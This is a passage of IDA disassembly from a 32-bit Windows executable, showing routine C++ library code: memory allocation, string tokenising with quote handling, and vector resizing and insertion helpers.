		mov	[esi+11h], edi
		test	eax, eax
		jz	short loc_40A216
		push	eax
		call	sub_4367E2
		add	esp, 4


loc_40A216:				; CODE XREF: sub_40A1F0+1Bj
		push	ebx
		lea	ebx, [edi+1]
		push	ebx
		call	sub_4367FA
sub_40A1F0	endp

; ---------------------------------------------------------------------------
		mov	ecx, ebx
		mov	edi, eax
		mov	edx, ecx
		xor	eax, eax
		shr	ecx, 2
		mov	[esi+9], edi
		add	esp, 4
		rep stosd
		mov	ecx, edx
		pop	ebx
		and	ecx, 3
		rep stosb
		mov	eax, [esi+9]
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A270	proc near		; CODE XREF: sub_4013D9j
		mov	eax, [ecx+11h]
		retn
sub_40A270	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A290	proc near		; CODE XREF: sub_4012B2j

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40A290
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebp
		mov	ebp, [esp+30h+arg_8]
		push	esi
		xor	esi, esi
		cmp	ebp, 1
		mov	[esp+34h+var_2C], ecx
		mov	[esp+34h+var_28], esi
		jge	short loc_40A2E2
		mov	esi, [esp+34h+arg_0]
		push	offset byte_446F70
		mov	ecx, esi
		call	sub_401861
		mov	eax, esi
		pop	esi
		pop	ebp
		mov	ecx, [esp+2Ch+var_C]
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40A2E2:				; CODE XREF: sub_40A290+2Bj
		push	ebx
		push	edi
		lea	ecx, [esp+3Ch+var_24]
		call	sub_401424
		mov	[esp+3Ch+var_4], esi
		lea	esi, [ebp+1]
		push	esi
		call	sub_4367FA
sub_40A290	endp

; ---------------------------------------------------------------------------
		mov	ecx, esi
		mov	ebx, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebx
		add	esp, 4
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		mov	edx, [esp+44h]
		and	ecx, 3
		push	ebx
		rep stosb
		mov	eax, [esp+14h]
		mov	ecx, ebp
		mov	edi, ebx
		mov	esi, [eax+9]
		add	esi, edx
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		lea	ecx, [esp+1Ch]
		call	sub_4015D7
		push	ebx
		call	sub_4367E2
		mov	esi, [esp+44h]
		add	esp, 4
		lea	eax, [esp+18h]
		mov	ecx, esi
		push	eax
		call	sub_4014C9
		lea	ecx, [esp+18h]
		call	sub_401226
		mov	ecx, [esp+30h]
		pop	edi
		mov	eax, esi
		pop	ebx
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn	0Ch
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A3C0	proc near		; CODE XREF: sub_401E2Ej

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	esi
		push	edi
		mov	esi, ecx
		mov	[esp+0Ch+var_4], 0
		call	sub_4013D9
		mov	ecx, [esp+0Ch+arg_4]
		mov	edi, [esp+0Ch+arg_0]
		sub	eax, ecx
		push	eax
		push	ecx
		push	edi
		mov	ecx, esi
		call	sub_4012B2
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ecx
		retn	8
sub_40A3C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A400:				; CODE XREF: ___:0040193Dj
		push	ecx
		push	esi
		mov	esi, [esp+0Ch]
		push	1
		mov	ecx, esi
		mov	dword ptr [esp+8], 0
		call	sub_4020F4
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A430	proc near		; CODE XREF: sub_4011EAj

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40A430
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		mov	edi, [esp+44h+arg_8]
		mov	esi, ecx
		test	edi, edi
		mov	[esp+44h+var_38], 0
		jnz	short loc_40A471
		mov	esi, [esp+44h+arg_0]
		push	offset byte_446F70
		mov	ecx, esi
		call	sub_401861
		jmp	loc_40A5A4
; ---------------------------------------------------------------------------


loc_40A471:				; CODE XREF: sub_40A430+2Aj
		lea	eax, [esp+44h+arg_8]
		lea	ecx, [esp+44h+var_34]
		push	eax
		call	sub_401690
		mov	ecx, [esi+9]
		mov	[esp+44h+var_4], 1
		push	ecx
		lea	ecx, [esp+48h+var_24]
		call	sub_401861
		lea	ecx, [esp+44h+var_24]
		mov	byte ptr [esp+44h+var_4], 2
		call	sub_4014D3
		mov	[esp+44h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jz	loc_40A555
		push	ebx


loc_40A4B1:				; CODE XREF: sub_40A430+11Ej
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_40A4C0


loc_40A4B7:				; CODE XREF: sub_40A430+8Ej
		inc	eax
		mov	[esp+48h+var_3C], eax
		cmp	[eax], dl
		jz	short loc_40A4B7


loc_40A4C0:				; CODE XREF: sub_40A430+85j
		cmp	byte ptr [eax],	22h
		setz	bl
		test	bl, bl
		jz	short loc_40A4CF
		inc	eax
		mov	[esp+48h+var_3C], eax


loc_40A4CF:				; CODE XREF: sub_40A430+98j
		lea	edx, [esp+48h+var_3C]
		lea	ecx, [esp+48h+var_34]
		push	edx
		call	sub_401988
		mov	eax, [esp+48h+var_3C]
		test	bl, bl
		mov	cl, [eax]
		jz	short loc_40A51F
		test	cl, cl
		jz	short loc_40A507


loc_40A4EB:				; CODE XREF: sub_40A430+D5j
		cmp	cl, 22h
		jnz	short loc_40A4FC
		mov	cl, [eax+1]
		cmp	cl, 20h
		jz	short loc_40A507
		test	cl, cl
		jz	short loc_40A507


loc_40A4FC:				; CODE XREF: sub_40A430+BEj
		inc	eax
		mov	[esp+48h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_40A4EB


loc_40A507:				; CODE XREF: sub_40A430+B9j
					; sub_40A430+C6j ...
		cmp	byte ptr [eax],	0
		jz	short loc_40A54A
		mov	byte ptr [eax],	0
		mov	eax, [esp+48h+var_3C]
		mov	cl, [eax+1]
		test	cl, cl
		jz	short loc_40A54A
		add	eax, 2
		jmp	short loc_40A546
; ---------------------------------------------------------------------------


loc_40A51F:				; CODE XREF: sub_40A430+B5j
		test	cl, cl
		jz	short loc_40A534
		mov	dl, [edi]


loc_40A525:				; CODE XREF: sub_40A430+102j
		cmp	cl, dl
		jz	short loc_40A534
		inc	eax
		mov	[esp+48h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_40A525


loc_40A534:				; CODE XREF: sub_40A430+F1j
					; sub_40A430+F7j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_40A54A
		cmp	cl, [edi]
		jnz	short loc_40A54A
		mov	byte ptr [eax],	0
		mov	eax, [esp+48h+var_3C]
		inc	eax


loc_40A546:				; CODE XREF: sub_40A430+EDj
		mov	[esp+48h+var_3C], eax


loc_40A54A:				; CODE XREF: sub_40A430+DAj
					; sub_40A430+E8j ...
		mov	cl, [eax]
		test	cl, cl
		jnz	loc_40A4B1
		pop	ebx


loc_40A555:				; CODE XREF: sub_40A430+7Aj
		lea	ecx, [esp+44h+var_34]
		call	sub_4011F9
		mov	ecx, [esp+44h+arg_4]
		cmp	ecx, eax
		jb	short loc_40A56D
		push	offset byte_446F70
		jmp	short loc_40A57A
; ---------------------------------------------------------------------------


loc_40A56D:				; CODE XREF: sub_40A430+134j
		push	ecx
		lea	ecx, [esp+48h+var_34]
		call	sub_401F64
		mov	eax, [eax]
		push	eax


loc_40A57A:				; CODE XREF: sub_40A430+13Bj
		mov	esi, [esp+48h+arg_0]
		mov	ecx, esi
		call	sub_401861
		lea	ecx, [esp+44h+var_24]
		mov	[esp+44h+var_38], 1
		call	sub_401226
		lea	ecx, [esp+44h+var_34]
		mov	byte ptr [esp+44h+var_4], 0
		call	sub_40158C


loc_40A5A4:				; CODE XREF: sub_40A430+3Cj
		mov	ecx, [esp+44h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
sub_40A430	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A630	proc near		; CODE XREF: sub_4016AEj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ecx
		mov	eax, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	0
		push	eax
		push	edx
		push	esi
		mov	[esp+18h+var_4], 0
		call	sub_4011EA
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	0Ch
sub_40A630	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A670	proc near		; CODE XREF: sub_40200Ej

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4015D7
		pop	esi
		retn	4
sub_40A670	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A6A0	proc near		; CODE XREF: sub_401A87j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4015D7
		retn	4
sub_40A6A0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A6C0	proc near		; CODE XREF: sub_40146Fj

arg_0		= dword	ptr  4

		mov	eax, [ecx+9]
		mov	ecx, [esp+arg_0]
		add	eax, ecx
		retn	4
sub_40A6C0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A6E0:				; CODE XREF: ___:0040149Cj
		mov	eax, [ecx+9]
		mov	ecx, [esp+4]
		add	eax, ecx
		retn	4
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A700	proc near		; CODE XREF: sub_401389j
		mov	eax, [ecx+9]
		retn
sub_40A700	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A720	proc near		; CODE XREF: sub_4017E4j
		mov	eax, [ecx+9]
		retn
sub_40A720	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A740	proc near		; CODE XREF: sub_4014D3j
		mov	eax, [ecx+9]
		retn
sub_40A740	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A760	proc near		; CODE XREF: sub_401690j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	dl, [ecx]
		xor	ecx, ecx
		mov	[eax], dl
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx
		retn	4
sub_40A760	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A790	proc near		; CODE XREF: sub_40158Cj
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4019A6
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_4011EF
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		pop	esi
		retn
sub_40A790	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A7E0	proc near		; CODE XREF: sub_4011F9j
		mov	edx, [ecx+4]
		test	edx, edx
		jnz	short loc_40A7EA
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40A7EA:				; CODE XREF: sub_40A7E0+5j
		mov	eax, [ecx+8]
		sub	eax, edx
		sar	eax, 2
		retn
sub_40A7E0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A810	proc near		; CODE XREF: sub_401F64j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_4011F9
		mov	edi, [esp+8+arg_0]
		cmp	eax, edi
		ja	short loc_40A828
		mov	ecx, esi
		call	sub_401EE7


loc_40A828:				; CODE XREF: sub_40A810+Fj
		mov	ecx, esi
		call	sub_401D1B
		lea	eax, [eax+edi*4]
		pop	edi
		pop	esi
		retn	4
sub_40A810	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A850	proc near		; CODE XREF: sub_401988j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40164F
		push	eax
		mov	ecx, esi
		call	sub_4016EF
		pop	esi
		retn	4
sub_40A850	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A880	proc near		; CODE XREF: sub_401D1Bj
		mov	eax, [ecx+4]
		retn
sub_40A880	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A8A0	proc near		; CODE XREF: sub_40164Fj
		mov	eax, [ecx+8]
		retn
sub_40A8A0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A8C0	proc near		; CODE XREF: sub_4016EFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, ecx
		call	sub_401D1B
		mov	edx, [esp+8+arg_4]
		mov	ecx, eax
		mov	eax, [esp+8+arg_0]
		push	edx
		mov	esi, eax
		push	1
		sub	esi, ecx
		push	eax
		mov	ecx, edi
		sar	esi, 2
		call	sub_4013CF
		mov	ecx, edi
		call	sub_401D1B
		lea	eax, [eax+esi*4]
		pop	edi
		pop	esi
		retn	8
sub_40A8C0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A910	proc near		; CODE XREF: sub_4019A6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		cmp	esi, ebx
		mov	edi, ecx
		jz	short loc_40A930


loc_40A921:				; CODE XREF: sub_40A910+1Ej
		push	esi
		mov	ecx, edi
		call	sub_4018B1
		add	esi, 4
		cmp	esi, ebx
		jnz	short loc_40A921


loc_40A930:				; CODE XREF: sub_40A910+Fj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40A910	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A950:				; CODE XREF: sub_401EE7j
		push	0FFFFFFFFh
		push	offset loc_438AB9
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [esp+3]
		lea	ecx, [esp+4]
		push	eax
		push	offset aInvalidVectorT ; "invalid vector<T> subscript"
		call	near ptr 76081F67h
		nop
		lea	ecx, [esp+4]
		mov	dword ptr [esp+38h], 0
		push	ecx
		lea	ecx, [esp+18h]
		nop
		call	near ptr 760A0430h
		lea	edx, [esp+14h]
		push	offset dword_43F080
		push	edx
		call	sub_436832
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A9D0	proc near		; CODE XREF: sub_4011EFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
		pop	ecx
		retn	8
sub_40A9D0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A9F0	proc near		; CODE XREF: sub_4013CFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esp+10h+arg_4]
		mov	eax, [esi+8]
		mov	ecx, [esi+0Ch]
		sub	ecx, eax
		sar	ecx, 2
		cmp	ecx, edi
		jnb	loc_40AABB
		mov	ecx, esi
		call	sub_4011F9
		cmp	edi, eax
		jnb	short loc_40AA23
		mov	ecx, esi
		call	sub_4011F9
		mov	ebp, eax
		jmp	short loc_40AA25
; ---------------------------------------------------------------------------


loc_40AA23:				; CODE XREF: sub_40A9F0+26j
		mov	ebp, edi


loc_40AA25:				; CODE XREF: sub_40A9F0+31j
		mov	ecx, esi
		call	sub_4011F9
		mov	ebx, eax
		push	0
		add	ebx, ebp
		mov	ecx, esi
		push	ebx
		call	sub_401DCF
; ---------------------------------------------------------------------------
		mov	edx, [esp+10h+arg_0]
		mov	ebp, eax
		mov	eax, [esi+4]
		push	ebp
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4010CD
		mov	ecx, [esp+10h+arg_8]
		mov	[esp+10h+arg_4], eax
		push	ecx
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_402176
		mov	edx, [esp+10h+arg_4]
		mov	ecx, [esi+8]
		lea	eax, [edx+edi*4]
		mov	edx, [esp+10h+arg_0]
		push	eax
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4010CD
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4019A6
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_4011EF
		lea	eax, [ebp+ebx*4+0]
		mov	ecx, esi
		mov	[esi+0Ch], eax
		call	sub_4011F9
		add	eax, edi
		mov	[esi+4], ebp
		pop	edi
		lea	ecx, [ebp+eax*4+0]
		mov	[esi+8], ecx
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40AABB:				; CODE XREF: sub_40A9F0+17j
		mov	ebx, [esp+10h+arg_0]
		mov	edx, eax
		sub	edx, ebx
		sar	edx, 2
		cmp	edx, edi
		jnb	short loc_40AB19
		lea	ebp, ds:0[edi*4]
		lea	ecx, [ebx+ebp]
		push	ecx
		push	eax
		push	ebx
		mov	ecx, esi
		call	sub_4010CD
		mov	eax, [esi+8]
		mov	edx, [esp+10h+arg_8]
		mov	ecx, eax
		push	edx
		sub	ecx, ebx
		sar	ecx, 2
		sub	edi, ecx
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_402176
		mov	edx, [esp+10h+arg_8]
		mov	eax, [esi+8]
		push	edx
		push	eax
		push	ebx
		call	sub_401E6F
		mov	eax, [esi+8]
		add	esp, 0Ch
		add	eax, ebp
		mov	[esi+8], eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40AB19:				; CODE XREF: sub_40A9F0+D8j
		test	edi, edi
		jbe	short loc_40AB53
		shl	edi, 2
		push	eax
		push	eax
		sub	eax, edi
		mov	ecx, esi
		push	eax
		call	sub_4010CD
		mov	eax, [esi+8]
		push	eax
		sub	eax, edi
		push	eax
		push	ebx
		call	sub_4020AE
		mov	ecx, [esp+1Ch+arg_8]
		lea	edx, [edi+ebx]
		push	ecx
		push	edx
		push	ebx
		call	sub_401E6F
		mov	eax, [esi+8]
		add	esp, 18h
		add	eax, edi
		mov	[esi+8], eax


loc_40AB53:				; CODE XREF: sub_40A9F0+12Bj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_40A9F0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ABC0	proc near		; CODE XREF: sub_4018B1j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_1
		pop	ecx
		retn	4
sub_40ABC0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ABE0	proc near		; CODE XREF: sub_4010CDj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		mov	ebx, ecx
		cmp	esi, ebp
		jz	short loc_40AC12
		push	edi
		mov	edi, [esp+10h+arg_8]


loc_40ABF6:				; CODE XREF: sub_40ABE0+27j
		push	esi
		push	edi
		mov	ecx, ebx
		call	sub_402121
		add	esi, 4
		add	edi, 4
		cmp	esi, ebp
		jnz	short loc_40ABF6
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40AC12:				; CODE XREF: sub_40ABE0+Fj
		mov	eax, [esp+0Ch+arg_8]
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_40ABE0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AC30	proc near		; CODE XREF: sub_402176j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ebp, ecx
		test	edi, edi
		jbe	short loc_40AC57
		push	ebx
		mov	ebx, [esp+0Ch+arg_8]
		push	esi
		mov	esi, [esp+10h+arg_0]


loc_40AC46:				; CODE XREF: sub_40AC30+23j
		push	ebx
		push	esi
		mov	ecx, ebp
		call	sub_402121
		add	esi, 4
		dec	edi
		jnz	short loc_40AC46
		pop	esi
		pop	ebx


loc_40AC57:				; CODE XREF: sub_40AC30+Aj
		pop	edi
		pop	ebp
		retn	0Ch
sub_40AC30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40AC70	proc near		; CODE XREF: sub_401DCFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_4014CE
sub_40AC70	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ACA0	proc near		; CODE XREF: sub_402121j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401DE8
		add	esp, 8
		retn	8
sub_40ACA0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ACD0	proc near		; CODE XREF: sub_401E6Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jz	short locret_40ACED
		mov	edx, [esp+arg_8]
		push	esi


loc_40ACE1:				; CODE XREF: sub_40ACD0+1Aj
		mov	esi, [edx]
		mov	[eax], esi
		add	eax, 4
		cmp	eax, ecx
		jnz	short loc_40ACE1
		pop	esi

locret_40ACED:				; CODE XREF: sub_40ACD0+Aj
		retn
sub_40ACD0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AD00	proc near		; CODE XREF: sub_4020AEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	edx, ecx
		jz	short loc_40AD22
		mov	eax, [esp+arg_8]
		push	esi


loc_40AD11:				; CODE XREF: sub_40AD00+1Ej
		mov	esi, [ecx-4]
		sub	ecx, 4
		sub	eax, 4
		cmp	ecx, edx
		mov	[eax], esi
		jnz	short loc_40AD11
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40AD22:				; CODE XREF: sub_40AD00+Aj
		mov	eax, [esp+arg_8]
		retn
sub_40AD00	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40AD60	proc near		; CODE XREF: sub_4014CEj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_40AD6A
		xor	eax, eax


loc_40AD6A:				; CODE XREF: sub_40AD60+6j
		shl	eax, 2
		push	eax
		call	sub_4367FA
sub_40AD60	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AD90	proc near		; CODE XREF: sub_401DE8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40ADAB
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40ADAB:				; CODE XREF: sub_40AD90+11j
		retn
sub_40AD90	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ADC0	proc near		; CODE XREF: sub_401E6Aj
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43E014
		retn
sub_40ADC0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40ADE0:				; CODE XREF: ___:00401717j
					; ___:loc_402027j
		push	esi
		mov	esi, ecx
		call	sub_402031
		test	byte ptr [esp+8], 1
		jz	short loc_40ADF8
		push	esi
		call	sub_4367E2
		add	esp, 4


loc_40ADF8:				; CODE XREF: ___:0040ADEDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AE10	proc near		; CODE XREF: sub_402031j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_40AE10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	dword ptr [ecx], offset	off_43E014
		mov	[ebp+var_10], esp
		mov	[ebp+var_4], 0
		call	sub_401744


loc_40AE41:				; DATA XREF: sub_40AE52o
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40AE10	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AE52	proc near		; DATA XREF: ___:0043F1BCo
		mov	eax, offset loc_40AE41
		retn
sub_40AE52	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AE80	proc near		; CODE XREF: sub_4014BAj
		call	sub_401708
		jmp	sub_4017B2
sub_40AE80	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AEA0	proc near		; CODE XREF: sub_401B18j
		call	sub_40161D
		jmp	sub_4017C1
sub_40AEA0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AEC0	proc near		; CODE XREF: sub_4013D4j
		push	esi
		mov	esi, ecx
		push	esi
		push	offset sub_40141F
		lea	eax, [esi+0Ch]
